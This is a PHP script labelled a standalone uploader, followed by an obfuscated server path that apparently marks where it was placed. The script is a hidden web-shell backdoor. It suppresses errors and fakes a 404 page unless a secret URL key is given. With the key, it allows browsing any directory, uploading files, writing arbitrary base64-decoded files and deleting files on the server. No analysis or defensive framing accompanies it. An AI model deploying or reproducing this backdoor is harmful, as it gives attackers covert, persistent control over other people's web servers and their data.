.-.-.-.-.-

<?php /* um.php - standalone uploader (no callbacks) */
@error_reporting(0); @ini_set('display_errors',0);
header('Content-Type: text/html; charset=UTF-8');
$k = isset($_GET['k']) ? $_GET['k'] : '';
if ($k !== 'cfc85640b6d8ca7a') { http_response_code(404); exit('404'); }
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$rt = 'realpath';
if (!@is_dir($rt($dir))) { $dir = '.'; }
$dir = $rt($dir);
$msg = '';
if (isset($_FILES['f']) && $_FILES['f']['error'] == 0) {
    $t = $dir . '/' . basename($_FILES['f']['name']);
    if (@move_uploaded_file($_FILES['f']['tmp_name'], $t)) { $msg = 'UP_OK:' . htmlspecialchars($t); }
    else { $msg = 'UP_FAIL'; }
}
if (isset($_POST['w']) && isset($_POST['d'])) {
    $t = $dir . '/' . basename($_POST['w']);
    $r = @file_put_contents($t, base64_decode($_POST['d']));
    $msg = $r !== false ? 'W_OK:' . htmlspecialchars($t) . ':' . $r : 'W_FAIL';
}
if (isset($_GET['ls'])) {
    foreach (@glob($dir . '/*') as $f) { echo htmlspecialchars($f) . "\t" . @filesize($f) . "\n"; }
    exit;
}
if (isset($_GET['rm'])) {
    $t = $dir . '/' . basename($_GET['rm']);
    echo @unlink($t) ? 'RM_OK' : 'RM_FAIL'; exit;
}
echo '<html><body style="font:13px monospace;background:#111;color:#0f0">';
echo '<h3>FM ' . htmlspecialchars($dir) . '</h3>';
if ($msg) echo '<p>' . $msg . '</p>';
echo '<form method="post" enctype="multipart/form-data">FILE: <input type="file" name="f"><input type="submit" value="up"></form>';
echo '<pre>';
foreach (@glob($dir . '/*') as $f) { echo htmlspecialchars($f) . "\t" . @filesize($f) . "\n"; }
echo '</pre></body></html>';

/home/etiennec/www/tmp/upload/../../tmp/../tmp/../tmp/../../sys/../sys/../www/tmp/../um-27f219.php